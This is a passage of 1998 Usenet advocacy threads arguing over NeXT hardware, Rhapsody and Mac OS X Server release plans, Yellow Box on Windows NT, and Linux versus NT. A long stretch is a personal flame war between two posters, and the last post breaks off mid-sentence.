> 286-user is getting dumped on, while in the same forum I have read of NeXTers
> unabashedly claiming that they prefer their 33-MHz 68030 NeXTstep boxen to
> modern Macs or Intel-based PCs running MS Windows.
I'm probably one of the people you're thinking of. And I'll happily say it
again: My NeXT slab is still my preferred work environment, even though I
also have a P-II running NT4 on my desk. I'm simply much more productive on
the NeXT, since I don't find myself having to change my workpatterns to how
the computer wants me to work, as keeps happening with NT. The apparent
speed, based on the things _I_ do, is no worse than that of the NT4 system
(which, admittedly, our IT people have really crippled with a very poor
installation). YMMV.
I wasn't the one dumping on the 286 user. I fully appreciate that there are
uses for which a 286 is still quite adequate. But the situation here is
different. If you find a 286 good for your purposes, then almost certainly
you'll find a 386, 486, Pentium, or Pentium II to be better. If the OS the
286 is running is good for your purposes, then in most cases more recent MS
offerings will be better. So it would not (putting aside budgetary
considerations) make much sense to keep running a 286. Upgrading to the 386,
say, probably wouldn't have made sense. But upgrading from 286 to P-II almost
certainly would. So if someone still is running a 286, and its not due to
money problems, I think it's legitimate to ask "why?"
On the NeXT side, hardware upgrades vanished in 1993. I would certainly be
ecstatic to be running NeXTSTEP on a 300MHz G3, but that's not an option. I
could have switched to OPENSTEP and run that on fast intel hardware. And I
would have done that had it not appeared, before Apple bought NeXT, that
OPENSTEP was going nowhere. Switching entirely to Macs (which I also use; I
travel everywhere with a Powerbook) was another option, but Apple too seemed
to be going nowhere before they bought NeXT. So I took a "wait and see"
attitude. Which was possible, since my old and valiant slab still performed
so well.
And incidentally, that's a 33MHz 68040 in the slab, not a 68030.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: 2 Oct 1998 13:56:12 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6v2m1s$6la@newsb.netnews.att.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd <3614C098.FE19CB7@nstar.net>
Originator: gupta@tlctest
Michael J. Peck <mjpeck@nstar.net> wrote:
>My point wasn't to say that NeXTers who prefer their older machines are
>wrong to do so, but rather that to criticize someone for preferring a
>286 running DOS is wrong.
There are no objective advantages to running DOS on a 286 over running
say, MacOS on a G3 233 MHz; there may be some advantages (quality of UI,
stability, ease of programming and scripting) in running Next on an old
machine over Windows on a new machine. It is wrong to criticize somebody
simply for the sake of criticism or because you don't agree with them;
it is perfectly OK to criticize somebody's choices based on demonstrable
and rational criteria.
-arun gupta
From: 00093182@bigred.unl.edu (Josh Hesse)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 2 Oct 1998 14:04:49 GMT
Organization: University of No Learning
Message-ID: <6v2mi1$gsh@crcnis3.unl.edu>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net>
<6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009981011040001@166-93-82-37.rmi.net> <lekleber-3009980130570001@uar180090.columbus.rr.com> <6v0s2d$pco$1@nnrp1.dejanews.com> <josh_neal-0210980110160001@209-142-17-67.oak.inreach.net> <3614C098.FE19CB7@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Josh Neal wrote:
: >
: > In article <6v0s2d$pco$1@nnrp1.dejanews.com>,
: > michael.peck@ericsson.com wrote: Just to add my two cents (and then to
: > quickly back away), I'm one of those who greatly prefers my turbo slab
: > (33mhz 68040) to the 266 PII NT machine that I have to use at work. NT
: > actually manages to make me not want to work on a computer (a
: > difficult thing for a CS geek like me). I *look forward* to coming
: > home to my trusty slab... Flame away. - Josh Neal
:
: My point wasn't to say that NeXTers who prefer their older machines are
: wrong to do so, but rather that to criticize someone for preferring a
: 286 running DOS is wrong.
:
Possibly, but there is nothing that you can do on a 286 running DOS that
cannot be done on a MUCH faster intel box running DOS.
A NeXT box, OTOH, still doesn't yet have a much faster counterpart that
is truly equal.
-Josh
--
Do not send mail to this account. Really.
"Talk about silly conspiracy theories..." -Wayne Schlitt in unl.general
This post (C)1998, Josh Hesse. Quoted material is (C) of the person quoted.
|ess|erb|unl|u| (Oo) MYTHOS How's my posting? 1-800-DEV-NULL
email: jh|e@h|ie.|.ed| /||\ NEW AEON .Sigfile freshness date: 6/30/98
Free Karate practices for UNL students & staff--- Just ask me.
"Ask Bill [Gates] why function code 6 (in QDOS and still
in MS-DOS more than ten years later) ends in a dollar
sign, no one in the world knows that but me"
-Gary Kildall
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 03 Oct 1998 16:49:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v5kir$9ur$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> The Premiere release (Q1 98) was supposed to be Rhapsody with no Blue Box.
> The Unified release was due Q3 1998 and was to include Blue Box.
No. Premier was to have a Blue Box, albeit not one in which 100% compatability
with all Mac apps was assured. See the Tevanian interview whose URL I posted
earlier.
> They basically cancelled the Premiere release. Unified is now Mac OS X
> Server 1.0 and is reasonably close to being on the original schedule.
Yes, it's reasonably close, if you assume it ships tomorrow. If it doesn't, it
becomes less and less 'reasonably close'.
> I don't know why Premiere was canned, but suspect that most of the people
> who would have bought it already have it as DR2.
Well, I can cite at least one person for which that it not true: Me. I would
have been glad to be able to buy Rhapsody Premier. Not being a developer, I
have no access to DR2. I WANT rhapsody, but have no way of getting it. Nor do
I even know WHEN I might be able to.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 2 Oct 1998 16:04:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v2tj8$lqd@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com> <6v1ovv$c9k@news1.panix.com> <3614BF4E.C5F58265@nstar.net>
On Fri, 02 Oct 1998 06:55:58 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>> You stated that Apple was refusing to provide the full YB interface on NT
>> in order to protect its hardware sales.
>No I'm not and no I didn't. You obviously haven't read the thread into
>which you inserted yourself.
Yes you did:
<quote>
from: <360FBE64.67D0D2EF@ericsson.com>
Voila. Argument over. This is exactly what John was saying: Apple will
provide a Yellow Box that gives an inferior user experience on Windows,
even though it doesn't have to be that way, because it needs to protect
its own hardware/OS platforms.
</quote>
>That was never the point, which means that you are the one shifting
>goalposts.
Sorry, you're wrong again. Are you going to continue this assault on
buadwidth and logic, or just admit that you are wrong?
>> This is a habit you have. Whenever someone refutes your statements, you
>> shift them and try to argue around them.
>Cute. You've got this strange idea that you can claim victory in threads
>by changing subjects and then pinning the blame on someone else.
You are projecting. You make statements that lack any evidence to support
them, and claim that they refute statements that I've made that have ample
evidence to support them, and then *you* claim victory. You did this in
the article I am following up on.
>> You claimed that there was no proof that Apple was going to maintain YB on
>> NT. I posted a comments made by Apple clearly stating that Apple plans on
>> maintaining YB on NT and providing a free runtime.
>That would be fine to say if you'd done anything like refuting a point,
>but all you've done is change the subject.
You claimed that:
<quote>
<360FBE64.67D0D2EF@ericsson.com>
It's a fair bet YB on Windows runtimes will exist. There is no public
evidence to suggest that the development tools will continue to be
developed for Windows.
</quote>
I refuted it by posting comments from Apple's FAQ on YellowBox.
Please do one of the following:
a) demonstrate how I was attempting to change the subject
b) admit that you are wrong
>> >I don't remember receiving an apology,
>> You owe me an apology. I repeatedly asked you to refrain from making personal
>> attacks, and you have refused. And now you are attempting to claim the moral
>> high ground?
>Case in point. I see that you have updated the link you provided, in
>which you claimed "I sent you a three-line apology". Here are the three
>lines:
>> At the very least you owe me a public apology for your insults.
>> I don't want to start forwarding things to your ISP over this.
>> Be a man and start behaving like one.
>That doesn't look like an apology to me. What it looks like is a cheap
>attempt on your part to publicly post what was privately emailed.
>Incredible.
I never claimed to send you an apology, I asked you to send me one for posting
insults after I showed you to be wrong when you claimed that "a percent of a
percent is not a valid statistical data point."
You insulted me, and I responed.
<quote>
<6v02fr$n28@news1.panix.com>
>No problem, I've worked with very young children before. I can be very
>patient.
Perhaps you can get one of them to teach you some manners.
</quote>
Next, you attempted to bring my past actions into the thread. I welcome it.
If you are going to bluff, you should be prepared that someone is going to
call you on it.
<quote>
<36139693.BCDEEA7C@nstar.net>
> Perhaps you can get one of them to teach you some manners.
That's wicked, coming from someone who sent my ISP an email calling me,
among other things, "Peckerhead". You are a true gentleman, Salvatore,
and in view of your tremendous chivalry it doesn't bother me one bit for
you to lecture me about manners.
</quote>
>That's a fine philosophy. It's none of my business; I don't accept it.
Of course not. Accepting it would require a modicum of maturity.
>> And if you can produce some insult I directed at you that wasn't a response
>> to an insult you directed at me, post it and I'll apologize. Go ahead and
>> find one.
>As I say, this moral standard is of little value to me.
Then why did you say:
<quote>
<36139693.BCDEEA7C@nstar.net>
That's wicked, coming from someone who sent my ISP an email calling me,
among other things, "Peckerhead". You are a true gentleman, Salvatore,
</quote>
You were pointing out that I insulted you, without mentioning that it was
in response to a 40+ line letter that *you* sent me in where you did far
worse.
http://www.panix.com/~sal/mjp.html
>> Yes. If you are going to post a stream of insults directed to me, you should
>> expect the same in return.
>Well, I would have expected such things from you in private email, but
>never sent to my ISP or posted to a public newsgroup. I would think that
>there were no need to point out that this is crass.
*YOU* brought up that email exchange. *YOU* bluffed, and I called you on it.
If I felt like being vindictive, I would drop a few grand into ericsson stock
and write a letter to the board asking to justify why an employee of ericsson
is using company resources to insult possible customers over the internet.
I'm pretty sure that would be enough to get you to apologize. I've done it
before and have gotten excellent results.
>> Then leave. No one is making you stay. I think I speak for everyone on CSNA
>> when I say you won't be missed.
>CSNA isn't the issue. You are the issue.
*YOU* get into fights like this all the time, with just about *everyone* on
CSNA. *YOU* are the one with issues, not me.
>> You have got to be kidding. Do you honestly think that raising a possibility
>> without providing supporting evidence is enough to refute a hard published
>> fact? I can not fathom anyone with an engineering degree believing this.
>I took extensive time to explain this, Sal, and I'm not getting
>anywhere.
Because your supposition was nonsense. Statements are refuted with *FACT*
not "raising a possibility"
> I wasn't refuting a hard published fact; I was refuting the
>clear statement that singular intent was the only basis for Apple's
>action.
You were attempting to refute a statement about Apple, that had supporting
evidence (other statements from Apple) with a series of comments that have
no supporting evidence.
>> You do if you want to be taken seriously.
>I don't know how to explain it differently; all I can say is "you
>clearly don't understand" and hope for the best.
This is another tact you use all the time.
>> >As I've already said, I don't have to have any evidence whatsoever to refute
>> >your premise that there was only one reason for Apple to remove DPS. All I
>> >have to do is raise the possibility of other reasons, and your premise is
>> >rendered false.
>> This is insane.
>> By that logic, if you claim that Linus wrote the .01 version of Linux, and
>> provide published statments by Linus and others, all I have to do is speculate
>> that maybe he found it under a rock on his way to work to render your statement
>> false.
>Well, no.
Please demonstrate the difference between those two bits of logic.
>> You have got to be kidding. You can not possibly believe this.
>And I don't, but you're going to have to work it out for yourself. Talk
>to a friend about it.
I wouldn't waste time I spend with my friends talking about you.
>Okay. Be well, and start a killfile. That would be nice.
If I added you to my killfile, you would end up with free reign to post
FUD to CSNA, something I will not give you. If you are going to post FUD,
I am going to call you on it.
Message-ID: <3614FC12.5BE9@betabreakers.com>
Date: Fri, 02 Oct 1998 09:15:14 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com>
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Linux is not what I would call a good Unix system. Try Irix, easy to use
and very powerfull. sun Solaris isn't bad but its more geared to
ubergeeks than normal people.
Dan wrote:
>
> Corbett Baker wrote in message <361444B1.A3B92AE9@wenet.net>...
> >Dan wrote:
> >
> >> MojiDoji wrote in message ...
> >>
> >> >where's MsLinux?
> >>
> >> MS gave up on Unix in the late 70's (when the rest of the world should
> have
> >> done the same), with their 1st OS ("Microsoft Xenix").... realizing what
> >> utter hell Unix was.
> >>
> >> Dan
> >
> >Yeah Multi-user Z80's and 8080's are a BAD idea, but do you consider DOS
> 1.0
> >any better?
>
> Yes... DOS is far easier to use then Unix... This was part of the whole
> concept behind DOS and the BASIC programming language...i.e., "simplistic"
> ...of course it's not a better server, but this is not the common goal for
> the average computer user. (thinking back to 1980)
>
> >jesus Dan your "unix" experience is most likely 1 hour of using
> >linux without
> >reading anything or knowing anything and saying it is "utter hell"
> >I really wish you would stop making un-educated comments like this, only
> the
> >ignorant take you seriously.
>
> Hmmm.... it's funny how if anyone likes a Microsoft product, or complains
> about a Apple or Unix product someone always accuses them of being an idiot,
> while another accuses them of working for Microsoft.
>
> I've had more then my far share of Linux experience. If it wasn't for NT I
> would consider it... "not half bad."
>
> One thing that makes me hate Linux even more is when a bunch of Linux gurus
> try and convince each other how much Microsoft products suck. Why? Because
> they "have to" *convince* each other... i.e., holding rallyes and starting
> threads of complaints... Because none of it's true... of course, if you all
> say it to each other enough it's starts to sound more and more realistic.
> it's sick.
>
> BTW, during my first explorations into Linux I was not out to hate it... I
> was out to embrace it. People were telling me it's great left and right, and
> how Windows sucks... and I figured it must be pretty cool, so I wrote down a
> list of things I needed (like email, etc.) to make a complete switch.
> ...a few months later, after hours and hours of banging my head against the
> wall trying to get it to work properly, reinstalling endlessly to get Linux
> back to a working state because it was easier then trying to find someone to
> help me fix a problem (which could take days, weeks, even months), etc.,
> etc., etc... I gave up (something I should have done months earlier and
> saved me time).
>
> I don't really care if you guys prefer messing with Linux configuration
> files, wasting your time, instead of getting work done... that's fine. Maybe
> you like that sorta thing... I know a guy that enjoys wrecking his truck,
> just so he can fix it again.
> ...what does piss me off is listening to all the NT complaints when I'm
> sitting here at a NT box that has not crashed or had a reinstall in over a
> year, while Linux had gone down many times before on the same machine. i.e.,
> I'm not going to just sit back and listen to it all.
>
> I don't want to argue though... so I'll probably not respond if you choose
> to flame me. That's not the reason I'm here. I'm here to try and make at
> least one person see what is really going on... instead of being sucked into
> the hate.
>
> >--
> >Windows NT is a piece of cr*p, and almost
> >everybody knows it, but by leveraging on their desktop parts, MS has
> >certainly been able to make a dent in the server and workstation market.
> >
> > Linus Torvalds,
>
> *THIS* is what I dislike about the Linux community.... Linus has clearly
> displayed hatred, and immaturity here. And your proud enough to post this in
> every signature. Linus and Steve Jobs should start their own web page and
> dedicate it to finding new ways to childishly call their competitors
> offensive names, etc.
>
> Dan
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 2 Oct 1998 16:05:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v2tjj$lqd@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com> <6v21u9$fm7$1@nnrp1.dejanews.com>
On Fri, 02 Oct 1998 08:12:58 GMT, quinlan@intergate.bc.ca
<quinlan@intergate.bc.ca> wrote:
>What the 2nd co-worker should have said is "Please provide some evidence to
>support your claim." That would have kept the burder of proof on the
>co-worker. Instead, the 2nd co-worker made the same mistake that Sal? did and
>made a new claim. Making a claim is always dangerous because people can
>attack it. Asking someone to support a claim is safer because you don't risk
>anything.
I made the claim that Apple is working to provide a free YB runtime for
NT, and that the major reason why DPS is being removed from YB it to avoid
the PS licensing fee. I pointed to statements made by Apple at the WWDC as
evidence.
If I can not support a statement, I humbly rescind it. This is customary in
adult conversations.
MJP claimed that "raising the possibility" that this is not true, without
offering any evidence to support this differing view, is enough to refute
my statement.
This is at best, a unique way of approaching debate. At worst, an example
of the immature ranting that myself and others have accused him of before.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 1 Oct 1998 14:10:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v02fr$n28@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com>
On Wed, 30 Sep 1998 15:18:19 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>I have reviewed the Logo requirements at MSDN's online library. Can
>anyone point me to the part about user experience?
IIRC, there is a mention about using the win95 UI guide in the notes about
logo requirements. While you do not have to stick to the win UI to earn the
logo, it is strongly recommended by Microsoft. The requirement that the
product in question provide a user experience that follows Win UI conventions
is purposely vague. (Quake would not be logo-able if strictly following the UI
was part of the logo requirements.)
>> The FAQ also states that Apple has commited to providing a free runtime.
>The FAQ states that this is "very much our intent". That is not a
>committment.
Apple can not promise a free runtime since the runtime requires 3rd party
products. They have stated intent, and appear to have taken action to make
good on this intent. (i.e. removal of 3rd party portions of YB)
>> If you have a point, please make it.
>No problem, I've worked with very young children before. I can be very
>patient.
Perhaps you can get one of them to teach you some manners.
>Here's the point, in textmode graphics: none of the work Apple has done
>so far, with regard to removing the Yellow Box runtime royalties, has
>anything to do with Windows specifically.
No matter what their intent might have been, the end result is the same;
removal of the PS royalties.
> They could want free runtimes
>for the sake of putting Yellow Box on MacOS 9.
This is pure speculation. Do you have any evidence to back this up? Apple
has made statements about YB/NT, they have not made any statements about
YB on MacOS9.
>They could have removed
>Display PostScript for the sake of a new proprietary display engine.
>They could have done these things for any number of reasons that have
>exactly zero relationship to consistently providing a Windows Yellow Box
>solution.
Do you have any evidence to back this up? And even if you are right, the
end result is the same. Why should anyone care? Do you have even the
slightest evidence that Apple is not working on providing a free YB
run time for Windows?
>> At some point, Metroworks and/or Apple may provide a compiler to build
>> native NT from MacOSX and vise versa. This capability has not been
>> officially announced by Apple.
>Failing to provide such a compiler would be just one example of John's
>point, especially after all we have been hearing about the wonders of
>NeXTSTEP-style fat binaries and compile-time checkboxes.
Apple can not do anything about NT's exe format. Regardless of how well
NS fat binaries might work, YB has to build a native NT exe file for that
file to execute under NT. (Come to think of it, other than the time needed
to do it, I don't see why Apple _couldn't_ build into NT some sort of
mechanism for running NSFB if they wanted to. But why go to all that trouble
when Apple already has tools needed to build NT exe files?)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel
Date: 1 Oct 1998 14:10:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v02fs$n28@news1.panix.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <3612be01.2606897@news2.icx.net>
On Wed, 30 Sep 1998 05:20:39 GMT,
Michael McCulloch <mmccullo@nospam.net> wrote:
>MacOS X or Rhapsody or whatever you call it is necessary on Intel to
>create any kind of new market. Yellow Box for Win32 is a non-starter.
As much as I would like to see Apple ship (or at least mention the
possibility of shipping) MacOSX for x86, I do think that they had to
make a choice between YB on NT and OSX on x86. Seeing that WO is selling
on NT now, and dropping WO on NT would cost Apple sales in a critical
market, I think that they made a lesser of two bad choices.
Apple has not ruled out shipping MacOSX on platforms other than the g3.
They haven't said they won't, they only haven't said they will. (With
apologies to Joseph Heller)
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 2 Oct 1998 17:55:40 GMT
Organization: Michigan State University
Message-ID: <6v342s$36o$1@msunews.cl.msu.edu>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
<360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com>
<36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com>
<361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com>
<6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com>
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Cc: jjens@primenet.com
In <6v31n9$c84$1@nnrp02.primenet.com> John Jensen wrote:
> Sal Denaro <sal@panix.com> wrote:
>
> : Apple did not buy OpenStep to sell OpenStep, they bought it to use as
> : the basis of a newer product that uses both OpenStep and Apple
> : technologies.
>
> The way I remember it, Apple had scrapped its internal next-generation OS
> project, and went looking for external solutions to achieve a faster
> turn-around and time to market.
>
> After the new aquisition, Apple was talking about an initial customer
> release of the next-generation OS in the first quarter of '98.
>
> Since the OS didn't ship, the only defense anyone can offer is "yeah, but
> they are adding so much neat stuff".
>
> Sure, so is every other OS. The further out the release of the next
> generation, the more unknown the competetive landscape. How good will
> BeOS v6.0 really be? What will the Linux desktop look like in late '99?
> What is Microsoft planning for its turn of the century end-user OS? Will
> JDK 1.2 solve all our problems?
>
> Apple has a history of sitting on its advanages while everyone else
> catches up. Is that history repeating itself?
>
There are many that simply will say time will tell. Others who possibly
have inside knowledge of some great things to come.
I advocated Apple simply port Openstep 4.2 to PPC and release it
as IS by Summer 97 as a seperate product. Here we are Fall 98, and
still nothing except MacOS 8.5, DR2, and the iMac. nearing 2 years
to come out with a new OS from Apple. Just crazy to my mind when
people with PPC could have been using Openstep 4.2 + WebObjects, etc.
and developing in YB. This could have been happening for at least the
past year and probably would have helped kick start YB deveopment
though given the MacOS developers lack of enthusiasm to port to YB
its hard to say.
I guess if Apple is smart they'll try to get CR1 drivers for iMac done before
release of CR1 so they can sell computers and OS's for christmas time.
That may be the delay.
AFAIK Damn shame they won't open up a bit on hardware specs so ports of
BeOS, *BSD, etc. can happen. Guess Apple thinks MkLinux, DR1,
and MacOS is all they need on PPC.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: 2 Oct 98 11:21:17 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B23A67B1-681BE@206.165.43.185>
References: <6v2m1s$6la@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
gupta@kcopsrm.tm.tta.moc-mirror said:
>There are no objective advantages to running DOS on a 286 over running
>say, MacOS on a G3 233 MHz; there may be some advantages (quality of UI,
>stability, ease of programming and scripting) in running Next on an old
>machine over Windows on a new machine. It is wrong to criticize somebody
>simply for the sake of criticism or because you don't agree with them;
>it is perfectly OK to criticize somebody's choices based on demonstrable
>and rational criteria.
???
There's plenty of hardware that can run on a 286 that can't on a G3, no
matter what emulator and addons you're using.
There's rational reasons for doing just about ANYTHING, if you look hard
enough.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 02 Oct 1998 14:25:44 -0500
Organization: Ericsson North America Inc.
Message-ID: <361528B8.8B3F3E6B@ericsson.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com> <6v1ovv$c9k@news1.panix.com> <3614BF4E.C5F58265@nstar.net> <6v2tj8$lqd@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sal Denaro wrote:
[cut]
> If I felt like being vindictive, I would drop a few grand into ericsson stock
> and write a letter to the board asking to justify why an employee of ericsson
> is using company resources to insult possible customers over the internet.
> I'm pretty sure that would be enough to get you to apologize. I've done it
> before and have gotten excellent results.
I have to admit to being impressed. "If I felt like being
vindictive...I've done it before". You are clearly one tough customer, a
man of great power and influence, a man to be feared. Quick, buy your
Ericsson stock right now; it's at a recent low. I would *love* to get a
